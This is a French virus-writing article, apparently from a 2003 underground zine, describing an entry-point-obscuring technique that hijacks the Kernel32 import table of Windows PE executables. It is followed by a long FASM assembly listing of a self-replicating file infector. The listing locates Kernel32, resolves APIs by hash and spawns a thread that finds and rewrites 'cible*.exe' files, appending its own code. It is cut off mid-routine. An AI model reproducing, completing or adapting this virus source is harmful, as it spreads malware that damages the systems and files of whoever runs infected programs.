-------------------------------------------------------------------------------
XI    Exemple d'EPO sous Windows                                        Urgo32
-------------------------------------------------------------------------------



Introduction:
-------------


Pour rendre plus difficile la dtection d'un virus informatique de nombreuses 
techniques ont t inventes. 
Au nombre de ces techniques on trouve celles appeles E.P.O (entry point 
obscuring).
Leur but est d'empcher un antivirus de trouver le dbut du code du virus.

Les premiers virus informatiques ciblant Windows95 avaient un comportement 
commun; ils prenaient le contrle ds que les programmes qui les contenaient 
taient lancs. 
Cela signifie que le code du virus est excut avant qu'aucune instruction du 
programme infect ne le soit.

Par voie de consquence, il est ainsi trs facile pour un antivirus de lire les
premiers octets du code du virus. 
Il lui suffit d'aller lire dans l'en-tte de l'excutable l'adresse de la 
premire instruction qui doit tre excute. Cette adresse est appele le point
d'entre du programme.

Un virus utilisant une technique d'E.P.O rend plus complexe la dtermination 
du dbut du code viral puisque la seule connaissance du point d'entre du 
programme infect est insuffisante.

On peut se demander comment le virus prend le contrle pour excuter son propre
code.


Cela dpend des dtails de la technique utilise. 
Voici la technique E.P.O la plus simple probablement. 
Elle consiste  craser les premiers octets qui constituent le point d'entre
du programme par une instruction de saut vers le code du virus 
(JMP XXXX; PUSH XXXX RET; XOR EAX,EAX JZ XXXX;....).

Une autre technique un peu plus complexe est de chercher dans le code du 
programme  infecter des instructions JMP ou CALL, en modifiant une de ces 
instructions on peut rediriger le saut pour qu'il ait lieu vers le code du 
virus.

Cette dernire technique souffre d'un inconvnient notable. 
Il n'est pas sr que l'instruction qui a t modifie pour effectuer un saut 
vers le code virale soit effectivement excute.
Elle peut appartenir  une branche qui n'est jamais, ou peu, excute  l'issue
d'un test.

De nombreuses autres techniques de mme nature existent. Elles ont en commun 
qu'une ou plusieurs instructions du programme infect sont modifies pour tre 
remplaces par une instruction de saut vers le code du virus.

Dans ce qui suit je voudrais prsenter une technique E.P.O peu connue qui 
n'entre pas dans cette catgorie. 
En effet, aucune instruction du code du programme infect n'est change ou 
altre.

Pour ce faire il nous faut dcrire le processus d'importation de fonctions 
d'une librairie dynamique vers un excutable.



Notions sur le format P.E:
--------------------------

Un fichier excutable sous Windows (Win9x,WinME,NT,XP,2000) comme notepad a un 
format appel format Portable excutable (P.E). Un excutable contient 
plusieurs en-ttes:


-En-tte msdos

-En-tte 'FILE HEADER'

-En-tte optionnel ('OPTIONAL HEADER'):
 la fin de cet en-tte il existe une table de structures appeles DATA 
DIRECTORY

-Table des en-tte des sections ('SECTION HEADER')


Ce qui nous intresse est la table des structures DATA DIRECTORY. 
Les deux premiers membres de cette table correspondent respectivement  
l'exportation (1er lment de la table) et l'importation (2me lment de la 
table). 
Il y'en a d'autres mais ils sont inutiles pour notre propos actuel.



la structure DATA DIRECTORY est dfinie comme:


struct
{

VirtualAddress		dd ?
Size			dd ?

}

Le champ VirtualAddress est une adresse virtuelle relative (RVA). 
C'est une sorte de pointeur sur une table de structures de type IMPORT 
DESCRIPTOR. Il y'a autant de structures IMPORT DESCRIPTOR dans cette table 
qu'il y'a de librairies dynamiques (DLL) qui exportent des fonctions vers 
l'excutable.


Dans l'en-tte optionnel il existe un champ qui contient une adresse mmoire o
doit tre charg par dfaut l'excutable, c'est le champ OH_ImageBase. 
Ainsi par dfaut, la valeur du champ VirtualAddress qui nous intresse ajoute 
 la valeur OH_ImageBase est l'adresse mmoire de dbut d'une structure IMPORT 
DESCRIPTOR.

Ainsi RVA+adresse mmoire de dbut de l'xcutable= adresse mmoire


la structure IMPORT DESCRIPTOR est dfinie comme:

struct
{

ID_OriginalFirstThunk	dd ?
ID_TimeDateStamp	dd ?
ID_ForwarderChain	dd ?
ID_Name			dd ?
ID_FirstThunk		dd ?

}

Seuls trois champs nous intressent.

OriginalFirstThunk est un pointeur (une RVA) sur une table de structures THUNK 
DATA.
FirstThunk est un pointeur (RVA) sur une table de structures THUNK DATA aussi. 
Mais nous avons affaire  deux tables diffrentes, elles sont localises en 
mmoire  deux endroits diffrents.

Name est un pointeur sur une chaine ASCII termine par un 0 qui est le nom de 
la librairie dynamique (une DLL comme Kernel32.dll, User32.dll,...) qui est 
concerne.

Pour chaque table Il y'a autant de structures THUNK DATA que de fonctions 
exportes par la librairie dynamique.

Les deux tables sont composes des mmes structures THUNK DATA. Ces structures 
sont ranges dans le mme ordre dans les deux tables bien que les tables, 
rappelons le, soient  des emplacement diffrents.

En fait une structure THUNK DATA est un pointeur (une RVA) vers une structure 
IMPORT BY NAME.



La structure IMPORT BY NAME est dfinie comme:

struct
{

IBN_Hint		dd ?
IBN_Name		dd ?

}


Le champ IBN_Name est un pointeur (RVA) sur une chane ASCII termine par un 0 
qui est le nom d'une fonction exporte par la librairie dynamique dont le nom 
est point par le champ ID_Name.


Nous pouvons maintenant dcrire le processus de rsolution des adresses des 
fonctions importes lors du chargement d'un programme P.E par Windows.

Pour chaque librairie dynamique et donc pour chaque structure IMPORT DESCRIPTOR
on s'intresse ou bien au champ OriginalFirstThunk (qui peut tre nul), ou bien
au champ FirstThunk pour lire le nom de toutes les fonctions importes de la 
librairie dynamique.

Windows dtermine les adresses mmoire de toutes ces fonctions (aprs qu'il ait
charg la DLL correspondante si ncessaire). Toutes ces adresses vont remplacer
les valeurs de la table de structures THUNK DATA pointe par le champ 
FirstThunk.

L'autre table pointe par OriginalFirstThunk reste inchange (si elle existait).

L'ordre dans la table (pointe par FirstThunk) des adresses des fonctions 
importes est le mme que celui des structures THUNK DATA (qui correspondaient 
chacunes  une fonction importe) prsentes prcdemment au mme emplacement.


Description d'une technique de type E.P.O peu connue:
-----------------------------------------------------

Nous pouvons aller un peu plus avant dans la description de notre technique 
E.P.O.
Comme nous venons de le voir le champ ID_FirstThunk est une RVA vers une table 
de double mots qui va contenir toutes les adresses importes de la DLL dont le 
nom est point par ID_Name.


Cela veut dire que pour appeler une fonction de Kernel32.dll ppar exemple, DLL 
qui contient les fonctions fondamentales du systme, un programme contiendra 
sous une forme ou une autre une instruction qui va ressembler :

call [400012h]. 400012h tant une adresse qui pointe sur un lment de la table
pointe par ID_FirstThunk.



L'appel  une sous-routine peut prendre diffrents aspects:

CALL [EDI], CALL [EAX+EBX]

EDI devra contenir une adresse qui pointe sur la table pointe par ID_FirstThunk
le contenu de EAX + le contenu de ebx donne une adresse dans la mme table.

La faon d'effectuer un appel  une fonction importe sera toujours conforme  
ce modle, un registre ou une expression  base de registres 
(CALL [EAX+4*ESI+CONSTANTE] par exemple)
va contenir une adresse pointant sur la table pointe par ID_FirstThunk.
Le contenu  l'emplacement de cette adresse est la destination de l'appel  la 
fonction.


Il existe une variante qu'on rencontre parfois, toujours pour appeler une 
fonction importe d'une DLL:

CALL 400023h		(l'adresse 400023h est arbitraire)


A l'adresse 400023h on trouve l'instruction:

jmp dword [400100h]	(l'adresse 400100h est arbitraire)

et une fois de plus 400100h est une adresse dans la mme table que prcdemment.


Une instruction de type CALL EDI peut-tre rencontre aussi. 
Cela suppose qu'avant le programme a excuter une instruction du type: 
mov edi,[400109h] (400109h arbitraire) o 400109h est l
encore une adresse pointant sur un lment de la mme table.

Maintenant, que se passerait-il si on change les champs OriginalFirstThunk et 
FirstThunk?

Si on fait un changement intelligent, on peut arriver  faire en sorte que 
Windows remplisse la nouvelle table avec des adresses de fonctions importes de
Kernel32 que l'on a choisies. 
Le programme continuera  "penser" que la vrai table est l'ancienne, celle-ci 
sera ignore par Windows au moment du chargement du programme, seule la 
nouvelle table sera prise en compte puisque les champs OriginalFirstThunk et 
FirstThunk ont t changs.

Rien ne nous empche de remplir la vieille table sur laquelle pointaient 
l'ancienne valeur FirstThunk avec une adresse (rpte autant de fois qu'il y'a
d'entres dans cette table) bien choisie pour pointer sur du code.

Lorsque le programme sera excut, chaque appel de sa part  une fonction de 
Kernel32 (puisqu'on a choisi de modifier les champs de sa structure IMPORT 
DESCRIPTOR qui se rapportent  cette DLL) va excuter le code se trouvant  
l'adresse que nous avons choisie.


Voila en rsum notre mthode E.P.O.
Dans le dtail, il y'a des problmes  rsoudre. 
Si on rempli l'ancienne table pointe par l'ancienne valeur de FirstThunk avec 
seulement une seule adresse pour chaque cellule de la table nous allons faire 
face  un problme un peu dlicat.

Le virus doit faire suivre l'appel  une fonction de Kernel32 qu'il a dtourn 
vers la vraie adresse de cette fonction. Deviner quelle fonction de Kernel32 a 
t rellement appele n'est pas une mince affaire dans ces conditions 
(bien que cela ne soit pas impossible).

Il faut comprendre que pour arriver  dterminer quelle fonction de Kernel32 a 
t appele il nous faut l'index (qui commence  0) de cette fonction dans la 
table. Si on pouvait dterminer quelle lment de la table  servi  faire le 
saut vers le virus on pourrait connaitre quelle fonction est appele. 
En utilisant la vieille valeur de OriginalFirstThunk qui pointe sur une table 
de pointeurs et l'index rcupr on se positionnerait dans dans la table
associe  cette vieille valeur de OriginalFirstThunk et on pourrait 
dterminer le nom d'une fonction de Kernel32. 
Le nom de cette fonction serait bien celui correspondant  l'index.


Pour simplifier la solution au problme de deviner quelle fonction de Kernel32 
est appele on remplit la table pointe par la vieille valeur de FirstThunk 
avec des adresses diffrentes, chacunes de ces adresses pointant sur une 
instruction:


call 470008h 		(470008h est arbitraire)

470008h tant l'adresse de dbut du virus.


l'adresse de retour de ce CALL, qui rappelons le, est empile sur la pile au 
moment de l' excution du CALL permet de dterminer quel CALL de la table a 
t appel. 
L'index du CALL est le mme que celui dans la table pointe par le vieux 
OriginalThunk de la fonction de Kernel32 appele.


La table des call ressemble  ceci:


adr0:
call virus	;db e8,+ 4 octets (opcode)
adr1:
call virus	;db e8,+ 4 octets (opcode)
adr2:
call virus	;db e8,+ 4 octets (opcode)

....

adrN:
call virus	;db e8,+ 4 octets (opcode)


N+1= le nombre de fonctions importes  de Kernel32

adr1,adr2,...,adrN servent   remplir la table pointe par le vieux FirstThunk


si le CALL  l'adresse adr7 est excut dans la pile on aura adr8


Ainsi, si X est l'adresse de retour d'un CALL de cette table


la formule:		((X-adr0)/5)-1


donne l'index (qui peut tre 0) dans cette table. 
Cet index permet facilement de dterminer l' adresse de la fonction de Kernel32
appele si on a conserv la valeur de OriginalFirstThunk telle qu'elle tait 
dans le programme avant qu'on ne l'a change.

Un fichier infect donnera l'impression de n'importer qu'une fonction de 
Kernel32.
Nous avons choisi de forcer le programme infect  n'importer que GlobalAlloc.
Cette fonction permet au virus de se rserver dynamiquement de l'espace pour 
agir. Cela permet de ne pas changer les attributs des sections du programme 
infect.



Conclusion:
------------

La technique E.P.O prsente ici doit tre amliore car elle a des 
inconvnients.

Un fichier infect contient, entre autre, une table de CALL. 
Cette table est loge imprativement dans une section code, sa taille est gale
au nombre de fonctions de Kernel32 importe par l'hte originellement multipli
par 5. 
Si la section code ne contient pas assez de place (c'est  dire des 0  la fin)
pour accueillir cette table, le fichier ne peut pas tre infect.

Une amlioration possible est de remplacer la table des CALL par une table de 
PUSH EAX (je vous laisse essayer de comprendre pourquoi c'est une bonne ide). 
On divise par 5 la taille de la table ce qui rend plus probable la possibilit 
de la caser dans la section code.

Une autre faon est de tracer  rebour la nature du CALL utilis. 
La connaissance du contenu des registres juste avant l'appel  la fonction 
importe permet de dterminer celle-ci.





Debut du listing du programme exemple:





;-----------------------------------COUPER ICI----------------------------------------------------


;Ce programme est le complement a l'article :

;		"Une technique E.P.O virale peu connue"
;		 DoxtorL. Juin 2003

;Ce programme modifie tous les fichiers P.E dont les noms sont conformes a
;NOM_FICHIER_RECHERCHE dans le repertoire courant et dans celui-ci seulement.

;Lors du demarrage d'un fichier infecte une thread est creee pour le code du
;virus. La thread commence par faire une pause de DUREE_PAUSE2 millisecondes.
;puis se met en action.


;Avertissements:
;Bien que ce virus informatique puisse seulement modifier des programmes dans
;le repertoire courant si vous ne savez pas ce que vous faites mieux vaut ne
;pas compiler ce programme et l'executer.

;N'ayant fourni aucun fichier binaire pour qu'il soit joint a ce listing, je
;considere que je ne peux etre tenu pour responsable du mauvais usage de ce
;programme.

;Pour la compilation vous avez besoin d' un assembleur appele FASM qui est un
;programme libre et gratuit facile a obtenir si vous avez une connexion
;internet.

;Le virus a ete effectivement teste sur plateforme Windows 98 SE
;Sous Windows 2000, des problemes peuvent survenir et Le systme SFC empche la 
;modification des fichiers natifs de Windows 2000.
;(lire l'addendum de l'article d'ou est issu ce listing)
;Neanmoins certains fichiers P.E ne peuvent etre modifies.

;Sur Windows 98 S.E:
;Calc.exe, iexplorer.exe (version livree avec Windows 98 SE), notepad,
;Winword 2000 ont pu ainsi etre infectes avec succes et ces fichiers a leur
;tour ont pu etre executes et capables d'infecter d'autres fichiers.


;En tout etat de cause, si le programme utilise toute la place de la section
;data que le virus utilise aussi, un crash est invitable


;Le virus ne possede aucune routine pour changer les attributs de fichiers.
;Les fichiers ayant, par exemple, l'attribut "Lecture seulement" ne seront
;pas infectes.


format PE GUI
entry commencement

ADR_BASE=400000h
DUREE_PAUSE1=30000
DUREE_PAUSE2=20000
NOM_FICHIER_RECHERCHE equ 'cible*.exe',0

include		'include\macro\import.inc'
include		'include\macro\stdcall.inc'
include		'include\exehdr.inc'
include		'include\kernel.inc'

;strutures:
IMAGE_DOS_HEADER	ecx,edx,edi
IMAGE_FILE_HEADER	ecx,edx,esi
IMAGE_OPTIONAL_HEADER	edx,edi
IMAGE_SECTION_HEADER	esi
IMAGE_DATA_DIRECTORY	eax,esi
IMAGE_IMPORT_DESCRIPTOR	esi
IMAGE_IMPORT_BY_NAME	eax
IMAGE_EXPORT_DIRECTORY	eax
WIN32_FIND_DATA		edi

adr_mem_alloc dd 0

commencement:


stdcall __Sleep,DUREE_PAUSE1
stdcall __ExitProcess,0

;Fin du programme regulier


__ExitProcess:
call execution_fct_k32
__Sleep:
call execution_fct_k32

execution_fct_k32:
pushad
mov eax,debut_virus
push eax
ret



;[Debut reel du virus]:

debut_virus:
;[Calcul du decalage du a la relocation du code du virus]:


call ici
ici:
pop ebp
sub ebp,ici

;[Fin du calcul du a la relocation]


db 83h,3dh		;cmp dword [<adr>]
ptr1_mem_alloc_sect_data_hote dd adr_mem_alloc
db 0
jnz pas_premier_passage

;Premiere execution du code viral

mov edi,[ptr1_mem_alloc_sect_data_hote+ebp]
stosd


;prepare le retour au code de l'hote:
lea esi,[adr_espace_libre_sect_code_cible+ebp]
lodsd
mov edi,esi
stosd

;[Debut de la recherche de l'adresse de Kernel32]:

db 8bh,15h		;mov edx,[<adr>]
ptr1_adr_globalalloc dd ExitProcess

mov eax,edx


recherche_mz:
dec edx
cmp word [edx.MZ_magic],MZ_MAGIC
jnz recherche_mz

;une signature "MZ" a ete trouvee

mov ecx,edx
mov ecx,dword [ecx.MZ_lfanew]
add ecx,edx
jc recherche_mz

cmp ecx,eax
ja recherche_mz

cmp dword [ecx.FH_Signature],PE_MAGIC
jnz recherche_mz

;[Fin de recherche de l'adresse de Kernel32]

;ecx pointe sur l'en-tete IMAGE_FILE_HEADER de Kernel32
;edx contient l'adresse de Kernel32





;[Debut de la recherche des fonctions de Kernel32 utilisees par le virus]:

;eax pointe sur le debut de la structure IMAGE_DIRECTORY_DATA de la directory
;export:

lea eax,[ecx+sizeof.IMAGE_FILE_HEADER+sizeof.IMAGE_OPTIONAL_HEADER]

mov eax,dword [eax.DD_VirtualAddress]
add eax,edx

mov esi,dword [eax.ED_AddressOfNames]
add esi,edx

or ebx,-1
mov ecx,NBRE_FCT_K32_VIRUS
sub esi,4

recherche_adr_fct_k32_virus:

add esi,4
inc ebx

;[Debut du calcul d'un condense pour le nom de la fonction de Kernel32
;en cours de test]:

pushad
mov esi,dword [esi]
add esi,edx

xor eax,eax
xor ecx,ecx

caractere_suivant:

lodsb
or al,al
jz fin_chaine
add cl,al
rol eax,cl
add ecx,eax
jmp caractere_suivant

fin_chaine:
mov [condense+ebp],ecx
popad

;[Fin du calcul du condense]

;[Debut de la recherche du condense dans la table des condenses pre-calcules
;des fonctions de Kernel32 utilisees par le virus]:

push eax
push ecx
mov eax,[condense+ebp]
mov ecx,NBRE_FCT_K32_VIRUS
lea edi,[tab_condense+ebp]
repne scasd
pop ecx
pop eax
jnz recherche_adr_fct_k32_virus


;[Fin de la recherche du condense dans la table]





;[Recuperation de l'adresse de la fonction de Kernel32 dont le condense du nom
;est dans la table]:

pushad
mov ecx,dword [eax.ED_AddressOfNamesOrdinals]
add ecx,edx

movzx ebx,word [ecx+2*ebx]

mov ecx,dword [eax.ED_AddressOfFunctions]
add ecx,edx

mov ecx,dword [ecx+4*ebx]
add ecx,edx

add edi,4*NBRE_FCT_K32_VIRUS-4
mov dword [edi],ecx

popad

;[Fin de la recuperation de l'adresse de la fonction de Kernel32]

loop recherche_adr_fct_k32_virus

;[Fin de la recherche des fonctions de Kernel32 utilisees par le virus]





;[Debut de la recuperation des adresses utilisees par l'hote]:

mov esi,[rva_orig_1st_thunk_avant_infection_hote+ebp]
add esi,[adr_image_base+ebp]

lea edi,[tab_adr_fct_k32_hote+ebp]

explore_struct_import_by_name_k32_hote:

lodsd
test eax,eax
jz fin_recuperation_fct_k32_hote

add eax,[adr_image_base+ebp]

pushad
lea ebx,[eax.IBN_Name]
stdcall [GetProcAddress+ebp],edx,ebx
mov dword [esp+28],eax
popad			;seulement eax est modifie


stosd
jmp explore_struct_import_by_name_k32_hote

fin_recuperation_fct_k32_hote:

;[Recuperation de la fonction de Kernel32 dont la structure
;IMPORT_BY_NAME a ete changee pour accueillir le nom GlobalAlloc]:

pushad
lea ebx,[sz_nom_fct_k32_altere_hote+ebp]
stdcall [GetProcAddress+ebp],edx,ebx
mov ecx,[index_fct_k32_altere_hote+ebp]
lea edi,[tab_adr_fct_k32_hote+4*ecx+ebp]
stosd
popad


;[Fin recuperation de la derniere fonction de Kernel32 de l'hote]

;[Fin de le recuperation des adresses utilisees par l'hote]



;[Debut de creation de la thread infectieuse]:

lea esi,[thread_id+ebp]
lea edi,[proc_infectieuse+ebp]
xor eax,eax
stdcall [CreateThread+ebp],eax,eax,edi,eax,eax,esi

;[Fin de la creation de la thread]




pas_premier_passage:

mov eax,[esp+32]
sub eax,[adr_espace_libre_sect_code_hote+ebp]
xor ebx,ebx
mov bl,5
xor edx,edx
div ebx
dec eax
mov eax,[tab_adr_fct_k32_hote+4*eax+ebp]
xchg eax,[esp+32]
popad
ret


proc_infectieuse:

;[Debut du code de la thread infectieuse]:

call suite
suite:
pop ebp
sub ebp,suite

stdcall [Sleep+ebp],DUREE_PAUSE2


;[Debut de la recherche de programmes cibles]:

lea esi,[sz_type_extension_fichier_cible+ebp]
lea edi,[struct_recherche+ebp]
stdcall [FindFirstFileA+ebp],esi,edi
mov ebx,eax
inc eax
jz plus_de_fichier
call infection

fichier_suivant:
stdcall [FindNextFileA+ebp],ebx,edi
test eax,eax
jz plus_de_fichier
call infection
jmp fichier_suivant

plus_de_fichier:
stdcall [FindClose+ebp],ebx
xor eax,eax
stdcall [ExitThread+ebp],eax

;[Fin de la recherche de programmes cibles]

;[Fin du code de la thread infectieuse]




;[Debut du code de la fonction principale du virus]:

infection:

pushad
;[Ouverture du fichier cible et creation de son image memoire]:

lea edi,[struct_recherche+ebp]
lea esi,[edi.WFD_szFileName]
add dword [edi.WFD_nFileSizeLow],TAILLE_VIRUS_ALIGNE_FICHIER
xor ebx,ebx
stdcall [CreateFileA+ebp],esi,GENERIC_READ or GENERIC_WRITE,\
FILE_SHARE_READ,ebx,OPEN_EXISTING,ebx,ebx
inc eax
jz err_infection
dec eax
mov [handle_fichier_cible+ebp],eax

stdcall [CreateFileMappingA+ebp],eax,ebx,PAGE_READWRITE,ebx,\
dword [edi.WFD_nFileSizeLow],ebx
test eax,eax
jz err_infection
mov [handle_map_cible+ebp],eax

stdcall [MapViewOfFile+ebp],eax,FILE_MAP_ALL_ACCESS,ebx,ebx,ebx
test eax,eax
jz err_infection

mov [adr_map_cible+ebp],eax
mov edx,eax

;[Fin de la creation de l'image memoire du fichier cible]



;[Debut de la verification du fichier cible]:

cmp word [edx.MZ_magic],MZ_MAGIC
jnz err_infection

cmp word [edx.MZ_csum],'VX'

mov eax,dword [edx.MZ_lfanew]
cmp eax,dword [edi.WFD_nFileSizeLow]
jae err_infection

add edx,eax
mov [adr_map_IMAGE_FILE_HEADER_cible+ebp],edx

cmp dword [edx.FH_Signature],PE_MAGIC
jnz err_infection


;[Debut de la recherche de la section 'code', la section qui contient
;le point d'entree du programme cible]:

movzx ebx,word [edx.FH_SizeOfOptionalHeader]
movzx ecx,word [edx.FH_NumberOfSections]
add edx,sizeof.IMAGE_FILE_HEADER

mov [adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp],edx

mov eax,dword [edx.OH_ImageBase]
mov [adr_image_base+ebp],eax

mov eax,dword [edx.OH_AddressOfEntryPoint]
add edx,ebx
mov [adr_map_IMAGE_SECTION_HEADER_cible+ebp],edx
mov esi,edx
mov edi,ecx

recherche_section_code:
cmp dword [esi.SH_VirtualAddress],eax
ja section_code_trouve
add esi,sizeof.IMAGE_SECTION_HEADER
loop recherche_section_code

jmp err_infection


section_code_trouve:

;[Fin de la routine de recherche de la section 'code];


test dword [esi.SH_Characteristics-sizeof.IMAGE_SECTION_HEADER],\
IMAGE_SCN_MEM_WRITE
jnz err_infection

push edi	;sauvegarde du nombre de sections de l'hote


;[Debut de la localisation d'un espace 'vide' et de sa taille dans
;la fin de la section 'code']:

mov edi,dword [esi.SH_PointerToRawData]
add edi,[adr_map_cible+ebp]
dec edi
std
xor eax,eax
xor ecx,ecx
dec ecx
rep scasb
neg ecx
sub ecx,10	;pour tenir compte de la presence eventuelle d'une
add edi,10	;'table d'import' (celle ci se finissant par db 0,0,0,0)
		
mov [nbre_octet_libre_sect_code_cible+ebp],ecx
mov [adr_map_espace_libre_sect_code_cible+ebp],edi

stdcall adr_map_vers_rva,edi;eax
add eax,[adr_image_base+ebp]
mov [adr_espace_libre_sect_code_cible+ebp],eax

pop ecx

sub esi,sizeof.IMAGE_SECTION_HEADER
call aligne
mov esi,edx

;[Fin de la localisation d'un espace dans la section 'code']



;[Recherche d'un espace libre dans la section 'data' trouvee]:

recherche_section_data:
test dword [esi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
jnz section_data_trouve
add esi,sizeof.IMAGE_SECTION_HEADER
loop recherche_section_data

jmp err_infection

section_data_trouve:
cmp dword [esi.SH_PointerToRawData],0
jz recherche_section_data

call aligne

dec ecx
jz err_infection
add esi,sizeof.IMAGE_SECTION_HEADER
mov edi,dword [esi.SH_PointerToRawData]
add edi,[adr_map_cible+ebp]


sub edi,4
cmp dword [edi],0
jnz err_infection

sub edi,4
cmp dword [edi],0
jnz err_infection

mov [adr_map_espace_libre_sect_data_cible+ebp],edi

;[Fin de la recherche d'un espace libre dans la section 'data' trouvee]




;[Recherche de le structure IMAGE_IMPORT_DESCRIPTOR dediee aux imports
;de Kernel32]:

mov edx,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]
lea esi,[edx+sizeof.IMAGE_OPTIONAL_HEADER+sizeof.IMAGE_DATA_DIRECTORY]

;esi pointe sur la structure IMAGE_DATA_DIRECTORY dediee a l'import:
mov esi,dword [esi.DD_VirtualAddress]


stdcall rva_vers_adr_map,esi
mov esi,eax

sub esi,sizeof.IMAGE_IMPORT_DESCRIPTOR

recherche_k32_image_import_descriptor:

add esi,sizeof.IMAGE_IMPORT_DESCRIPTOR
mov edi,dword [esi.ID_Name]
test edi,edi
jz err_infection

stdcall rva_vers_adr_map,edi
mov edi,eax

cmp dword [edi],'KERN'
jnz recherche_k32_image_import_descriptor

add edi,4

cmp dword [edi],'EL32'
jnz recherche_k32_image_import_descriptor

mov [adr_map_IMAGE_IMPORT_DESCRIPTOR_cible+ebp],esi

;[Fin de la recherche de la structure IMAGE_IMPORT_DESCRIPTOR]



stdcall rva_vers_adr_map,dword [esi.ID_FirstThunk]
mov [adr_map_1st_thunk_k32_cible+ebp],eax

mov esi,dword [esi.ID_OriginalFirstThunk]
test esi,esi
jz err_infection

mov [rva_orig_1st_thunk_avant_infection_hote+ebp],esi

stdcall rva_vers_adr_map,esi
mov [adr_map_original_1st_thunk_k32_cible+ebp],eax



;[Debut du calcul du nombre de fonctions de Kernel32 importees par le
;programme cible]:

mov esi,eax
mov edi,eax
cld
xor eax,eax
xor ecx,ecx
dec ecx
repne scasd
neg ecx
dec ecx
dec ecx

mov [nbre_fct_k32_cible+ebp],ecx
lea ecx,[ecx+4*ecx+TAILLE_LOADER]	;ecx <-5*ecx+TAILLE_LOADER
cmp ecx,[nbre_octet_libre_sect_code_cible+ebp]
ja err_infection

;[Fin du calcul du nombre de fonctions importees de Kernel32]

mov ebx,esi

;[Recherche d'une fonction de Kernel32 importee par la cible
;dont le nom a au moins 11 symboles]:

xor ebx,ebx
dec ebx
recherche_nom_fct_k32_cible:
inc ebx
lodsd
test eax,eax
jz err_infection

mov [rva_IMAGE_IMPORT_BY_NAME_cible+ebp],eax
mov ecx,eax
stdcall rva_vers_adr_map,eax
lea edi,[eax.IBN_Name]
mov edx,edi

pushad
xor eax,eax
xor ecx,ecx
mov cl,11
repne scasb
popad
jz recherche_nom_fct_k32_cible


;[Fin de la verification du fichier cible]



pushad
mov esi,edx
mov [index_fct_k32_altere_hote+ebp],ebx
lea edi,[sz_nom_fct_k32_altere_hote+ebp]
call copie_chaine

;a partir d'ici des changements sont effectues dans le fichier cible

lea esi,[sz_nom_globalalloc+ebp]
mov edi,edx
call copie_chaine
popad

sub esi,ebx
shr esi,2
dec esi
mov [index_tab_image_import_by_name_k32_cible+ebp],esi


;[Fin de la recherche d'une fonction de Kernel32 importee dont le nom a au
;moins 11 symboles]

mov eax,[rva_IMAGE_IMPORT_BY_NAME_cible+ebp]
mov edi,[adr_map_espace_libre_sect_data_cible+ebp]

mov esi,edi
stosd
stdcall adr_map_vers_rva,esi
mov ebx,eax
add eax,[adr_image_base+ebp]
mov [ptr1_adr_globalalloc+ebp],eax
mov [ptr2_adr_globalalloc+ebp],eax
add eax,4
mov [ptr2_mem_alloc_sect_data_hote+ebp],eax
mov edi,[adr_map_IMAGE_IMPORT_DESCRIPTOR_cible+ebp]

xor eax,eax
stosd
dec eax
stosd
stosd
add edi,4
mov eax,ebx
stosd
mov esi,[adr_map_espace_libre_sect_code_cible+ebp]
stdcall adr_map_vers_rva,esi
add eax,[adr_image_base+ebp]

;[Debut de la reconstruction de la table des thunk_data pointee par
;first_thunk]:

mov ecx,[nbre_fct_k32_cible+ebp]
push ecx
mov edi,[adr_map_1st_thunk_k32_cible+ebp]

element_suivant_tab_thunk_data:
stosd
add eax,5
loop element_suivant_tab_thunk_data

;[Fin de la reconstruction de la table]


;[Debut de la destruction de la structure DATA_DIRECTORY qui fait
;reference a une directory utilisee par Windows pour decider si la table
;pointee par FirstThunk peut etre utilisee telle quelle. (cette structure
;peut etre absente)

pushad
mov edi,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]
push edi
mov eax,sizeof.IMAGE_DATA_DIRECTORY
mov ecx,11
mul ecx
lea edi,[edi+eax+sizeof.IMAGE_OPTIONAL_HEADER]
xor eax,eax
stosd
stosd

;[Fin de la destruction]

;[On en profite au passage pour changer la valeur de OH_FileAlignment qui n'
;est pas obligatoirement 200h (mais est un multiple de 200h), on impose la
;valeur 200h]:

pop edi
mov dword [edi.OH_FileAlignment],200h
popad

;[Fin de la modification de OH_FileAlignment]




;[Debut de la construction de la "table des call"]:

sub eax,[adr_image_base+ebp]
stdcall rva_vers_adr_map,eax
mov [adr_map_loader_sect_code_cible+ebp],eax

pop ecx
mov edi,esi
add esi,ecx
lea esi,[esi+4*ecx]

element_suivant_table_call:
mov al,0e8h
stosb
mov eax,esi
sub eax,edi
sub eax,4
stosd
loop element_suivant_table_call

;[Fin de la construction de la "table des call"]

;[Debut de la routine de transfert des deux parties du virus]:

mov esi,[adr_map_IMAGE_FILE_HEADER_cible+ebp]

movzx ecx,word [esi.FH_NumberOfSections]
dec ecx


mov eax,sizeof.IMAGE_SECTION_HEADER
mul ecx
mov esi,[adr_map_IMAGE_SECTION_HEADER_cible+ebp]
lea esi,[esi+eax]

lea edx,[esi.SH_SizeOfRawData]

mov ecx,dword [edx]

add dword [edx],TAILLE_VIRUS_ALIGNE_FICHIER
add dword [esi.SH_VirtualSize],TAILLE_VIRUS_ALIGNE_MEMOIRE

call aligne

mov edx,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]
add dword [edx.OH_SizeOfImage],TAILLE_VIRUS_ALIGNE_MEMOIRE

mov edx,dword [esi.SH_PointerToRawData]

add edx,ecx

add edx,dword [adr_map_cible+ebp]

stdcall adr_map_vers_rva,edx
add eax,[adr_image_base+ebp]


mov [adr_fin_derniere_sect_hote+ebp],eax

mov edi,[adr_map_loader_sect_code_cible+ebp]
lea esi,[debut_loader+ebp]
cld
mov ecx,TAILLE_LOADER
rep movsb

mov ebx,[ptr1_mem_alloc_sect_data_hote+ebp]

mov eax,[ptr2_mem_alloc_sect_data_hote+ebp]
mov [ptr1_mem_alloc_sect_data_hote+ebp],eax

lea esi,[debut_virus+ebp]
mov edi,edx
mov ecx,TAILLE_VIRUS
rep movsb

mov [ptr1_mem_alloc_sect_data_hote+ebp],ebx

;on marque la cible pour ne pas la reinfecter
mov edi,[adr_map_cible+ebp]
lea edi,[edi.MZ_csum]
mov ax,'VX'
stosw

;[Fin de la routine de transfert des deux parties du virus]

jmp sortie_infection

err_infection:
lea edi,[struct_recherche+ebp]

sub dword [edi.WFD_nFileSizeLow],TAILLE_VIRUS_ALIGNE_FICHIER


;[Debut de la restitution a l'O.S et de la fermeture du fichier cible]:

sortie_infection:

lea edi,[struct_recherche+ebp]
stdcall [UnmapViewOfFile+ebp],[adr_map_cible+ebp]

stdcall [CloseHandle+ebp],[handle_map_cible+ebp]

xor ebx,ebx
